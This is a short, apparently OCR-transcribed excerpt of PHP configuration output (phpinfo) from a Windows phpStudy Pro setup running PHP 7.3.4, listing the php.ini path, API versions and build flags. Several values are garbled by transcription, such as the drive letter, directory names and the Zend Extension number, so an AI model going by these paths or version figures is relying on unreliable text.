Configuration File (php.ini) Path C:\Windows

Loaded Configuration File E‘\phpstudy_pro\Extensionsiphp\php7 3.4nts\php.ini

Scan this dir for additional .ini files (none)

Additional _ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731,NTS VC15

PHP Extension Build API20180731 NTS,VC15

Debug Build no

Thread Safetw disabled
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